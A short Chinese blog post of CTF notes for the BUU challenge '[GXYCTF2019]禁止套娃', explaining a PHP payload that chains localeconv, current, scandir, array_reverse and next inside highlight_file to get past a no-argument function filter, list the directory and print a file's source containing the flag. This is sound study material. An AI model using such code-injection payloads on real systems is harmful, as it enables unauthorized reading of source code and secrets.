BUU-[GXYCTF2019]禁止套娃
我的笔记:
payload: highlight_file(next(array_reverse(scandir(current(localeconv())))))
<?php
//var_dump( highlight_file(next(array_reverse(scandir(current(localeconv()))))) );
//1.localeconv()函数返回一个数组
//var_dump(localeconv());
/*
array(18) {
["decimal_point"]=>
string(1) "."
["thousands_sep"]=>
string(0) ""
["int_curr_symbol"]=>
string(0) ""
["currency_symbol"]=>
string(0) ""
["mon_decimal_point"]=>
string(0) ""
["mon_thousands_sep"]=>
string(0) ""
["positive_sign"]=>
string(0) ""
["negative_sign"]=>
string(0) ""
["int_frac_digits"]=>
int(127)
["frac_digits"]=>
int(127)
["p_cs_precedes"]=>
int(127)
["p_sep_by_space"]=>
int(127)
["n_cs_precedes"]=>
int(127)
["n_sep_by_space"]=>
int(127)
["p_sign_posn"]=>
int(127)
["n_sign_posn"]=>
int(127)
["grouping"]=>
array(0) {
}
["mon_grouping"]=>
array(0) {
}
}
*/
//第一个返回value是.
//2.current()函数返回数组中的当前单元, 默认取第一个值。
//var_dump(current(localeconv()) );
//string(1) "."
//3.array_reverse()函数, 颠倒数组的顺序
//4.next()函数将内部指针指向数组的下一个元素,并返回结果
/*
PHP next() 函数用于将数组的内部指针向前移动一位,并返回新当前元素的值。如果指针已处于数组末尾,它将返回 false。它是遍历数组指针操作函数之一,常与 current()、prev()、reset() 和 end() 配合使用。
语法:
php
next(array)
关键点:
参数: 必须传入一个数组。
返回值: 返回移动后指向的下一个元素的值。
结束边界: 如果超出最后一个元素,返回 false。
与current()的区别: next() 先将指针移动到下一位,然后再返回该值,而 current() 仅返回当前指针位置的值
*/
//var_dump(next(array_reverse(scandir(current(localeconv())))) );
//string(6) "py1.py" 可以看到, 返回了我们需要的文件名称
// PHP highlight_file() 函数用于以高亮语法格式输出指定的 PHP 文件,便于代码查看。第一个参数是文件的路径
//所以我们使用highlight_file()再指定我们需要高亮打印的文件名, 就可以看到flag了
posted on 2026-01-28 00:00 misaki%20mei 阅读(2) 评论(0) 收藏 举报
浙公网安备 33010602011771号